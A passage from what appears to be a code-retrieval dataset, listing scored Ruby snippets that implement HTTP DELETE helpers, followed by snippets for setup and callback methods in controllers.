"cb3f7da64d3ba6920a798a76cd532f58", "score": "0.7280289", "text": "def delete_resource(uri)\n clear\n uri = URI.parse(uri)\n @req = Net::HTTP::Delete.new uri.request_uri\n set_common_info(@req)\n @http_class.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n @res = http.request(@req)\n case @res\n when Net::HTTPSuccess\n #warn \"Bad Status Code: #{@res.code}\" unless @res.class == Net::HTTPOK || @res.class == Net::HTTPNoContent\n else\n raise RequestError, \"Failed to delete resource. #{@res.code}\"\n end\n end\n end", "title": "" }, { "docid": "b9ec212f62402c26e0f73d4d5a7d4eca", "score": "0.72785544", "text": "def _delete(path, isD2l = true, headers = {})\n headers[:content_type] = :json\n auth_uri = path\n auth_uri = create_authenticated_uri(path, 'DELETE') if isD2l == true\n RestClient.delete(auth_uri, headers)\nend", "title": "" }, { "docid": "941940271a7efadca315e3b2b9a0b908", "score": "0.7255119", "text": "def delete_request\n client.create_request('DELETE', url_path)\n end", "title": "" }, { "docid": "2a6435d1f7d76895e1ae33f94b9d7924", "score": "0.72546065", "text": "def delete!(resource, parameters = {}, headers = {})\n send!(:delete, resource, parameters, headers)\n end", "title": "" }, { "docid": "9d6d391fb623ff253e5fe3110e86df70", "score": "0.72536373", "text": "def delete(id, params: {}, headers: {})\n RestClient::Request.execute(\n method: :delete,\n url: build_resource_url(id),\n headers: build_headers(\n user_headers: headers,\n params: params\n )\n )\n\n nil\n end", "title": "" }, { "docid": "f6adacb4603b132835ccfa12cd56e954", "score": "0.72527236", "text": "def http_delete(path)\n\t\t\turi = URI(@apiURL + path)\n\t\t\theaders = {\n\t\t\t\t\"authorization\" => \"bearer \" + @token,\n\t\t\t}\n\t\t\toptions = {\n\t\t\t\t:headers => headers,\n\t\t\t\t:verify => @verify_ssl,\n\t\t\t}\n\t\t\toptions[:debug_output] = Origin.logger if @debug\n\t\t\tresponse = HTTParty.delete(uri, options)\n\t\t\treturn handle_http_errors(response, path)\n\t\tend", "title": "" }, { "docid": "c9818d4ff015a0dd7fe56b1baf75546a", "score": "0.7245418", "text": "def delete(path, data = {}, headers = {})\n exec_request(:delete, path, data, headers)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.72403026", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b9dac66c12c427ffcc7d31907a34adf4", "score": "0.72364086", "text": "def delete(opts = {})\n http_request(opts, :delete)\n end", "title": "" }, { "docid": "e0d9d2a82c0d554f354e9397e7078f97", "score": "0.72289985", "text": "def delete(query_params = {})\n\t\t\tself.class.request_first('delete', ERB::Util.url_encode(id), query_params, nil, _client)\n\t\tend", "title": "" }, { "docid": "6c6ba9a7845a527cd17226599acae4f5", "score": "0.72194", "text": "def delete(path, **params)\n params[:key] = key\n\n uri = URI(\"#{base_url}#{path}\")\n uri.query = URI.encode_www_form(params)\n req = Net::HTTP::Delete.new(uri)\n request req\n end", "title": "" }, { "docid": "ef1b5c59139b29bd231d700e7f731dd2", "score": "0.7219027", "text": "def delete(path, params={}, options={})\n request(:delete, path, params, options)\n end", "title": "" }, { "docid": "ef1b5c59139b29bd231d700e7f731dd2", "score": "0.7219027", "text": "def delete(path, params={}, options={})\n request(:delete, path, params, options)\n end", "title": "" }, { "docid": "fdc249314e74062164ba5cc38a49cf60", "score": "0.72181886", "text": "def _delete(url=\"\", params={}, headers={})\n\t\tif url.empty? then\n\t\t\treturn nil\n\t\tend\n\t\tif headers.empty? then\n\t\t\treturn nil\n\t\tend\n\t\tif !params.empty? then\n\t\t\theaders[:params] = params\n\t\tend\n\t\tbegin\n\t\t\tresponse = RestClient.delete(url, headers)\n\t\trescue => e\n\t\t\treturn error_response(e)\n\t\tend\n\t\thandle_response(response)\n\tend", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.721626", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.721626", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.721626", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.721626", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.721626", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "21789c78d89891c0d81c0847c5af96ac", "score": "0.72145647", "text": "def DELETE(path, parameters=nil, headers=nil, ignore_throttle=false)\n url = path\n if parameters\n # URI escape each key and value, join them with '=', and join those pairs with '&'. Add\n # that to the URL with an prepended '?'.\n url += '?' + parameters.map {\n |k, v|\n [k, v].map {\n |x|\n CGI.escape(x.to_s)\n }.join('=')\n }.join('&')\n end\n\n headers ||= {}\n request = Net::HTTP::Delete.new(path_join(@version, @practiceid, url))\n call(request, {}, headers, false, ignore_throttle)\n end", "title": "" }, { "docid": "662d04f68df816a311954ac60d8f9025", "score": "0.7212288", "text": "def delete(path, params = {}, opts = {}, &block)\n request(:delete, path, opts.merge(params: params), &block)\n end", "title": "" }, { "docid": "22ed2f85b7e558adaef6452c99350c86", "score": "0.72089314", "text": "def delete(uri)\n get_response(Net::HTTP::Delete.new(\"#{API}/#{uri}\", HEADER), nil)\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.7207844", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.7207844", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "34348e070d4ad98b4c9285c2dd6c8d44", "score": "0.7206982", "text": "def delete(url, params)\n request = HTTPI::Request.new(resource_url(url, query_params(params[:query])))\n execute_request(:delete, request, params)\n end", "title": "" }, { "docid": "0f32e313dd340185654ae79821d37f9d", "score": "0.72015023", "text": "def delete(path)\n http_execute(Net::HTTP::Delete.new(path))\n end", "title": "" }, { "docid": "8b7398fecf493da72d04c2eecd3eabb1", "score": "0.7197382", "text": "def delete(path, params = {}, options = {})\n request(:delete, path, params, options)\n end", "title": "" }, { "docid": "2857fc6a344b0b63d4071d18c9135843", "score": "0.7193568", "text": "def delete\n ensure_client && ensure_uri\n response = @client.rest_delete(@data['uri'], {}, @api_version)\n @client.response_handler(response)\n true\n end", "title": "" }, { "docid": "419097c1c4a142adaf725a2112822e8e", "score": "0.7192736", "text": "def delete\n request_method('DELETE')\n end", "title": "" }, { "docid": "ae1a6c23efe791cf06967a3ec77c37dd", "score": "0.7187922", "text": "def api_delete(uri)\n req = authenticate_request(Net::HTTP::Delete.new(uri), uri)\n\n api_request(uri, req)\n end", "title": "" }, { "docid": "93746ae0f2100f85025b4805d3b71d0d", "score": "0.7186637", "text": "def delete(path, params = {}, env = {})\n request(path, env.merge(method: \"DELETE\".freeze, params: params))\n end", "title": "" }, { "docid": "14142c25f131ba650b373132afac315a", "score": "0.71858823", "text": "def delete(headers=false); call_client(:delete, headers); end", "title": "" }, { "docid": "873cd26fe8ec48d4d4a990c198adb074", "score": "0.71810544", "text": "def delete\n with_options(request_method: :delete).response\n end", "title": "" }, { "docid": "873cd26fe8ec48d4d4a990c198adb074", "score": "0.71810544", "text": "def delete\n with_options(request_method: :delete).response\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.71780914", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.7177664", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.7177664", "text": "def delete\n client.delete uri\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "f002a583c015b3bf1ecca47e340f1028", "score": "0.0", "text": "def set_purchase_record\n @purchase_record = PurchaseRecord.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.6032574", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6015663", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219843", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59141374", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59141374", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.58976305", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5888804", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58762443", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.58622783", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5809543", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.5739154", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5730308", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5716412", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703048", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.5692339", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56683415", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651343", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5649526", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5637351", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5625094", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.56081706", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598399", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.55983305", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589034", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55590636", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55590636", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5508606", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5503641", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5466762", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465908", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.5448214", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54452825", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.543952", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.5416739", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5399368", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5393666", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5393666", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.539238", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53882563", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53783023", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53568405", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.53475434", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.5347053", "text": "def register_action(action); end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53463554", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5343945", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.53414744", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53269625", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53046626", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5285546", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5281048", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52582437", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52580667", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5249179", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52446544", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.523857", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52311945", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52288747", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.5223357", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52224743", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52201444", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52142954", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.52137226", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52085507", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5206211", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.5204376", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.52038896", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.52029234", "text": "def create_setup\n \n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5200697", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5197009", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5197009", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51938593", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.51789296", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51784116", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162988", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51526964", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.514453", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5140928", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51408994", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.5139561", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5133698", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51154804", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113695", "text": "def setup\n 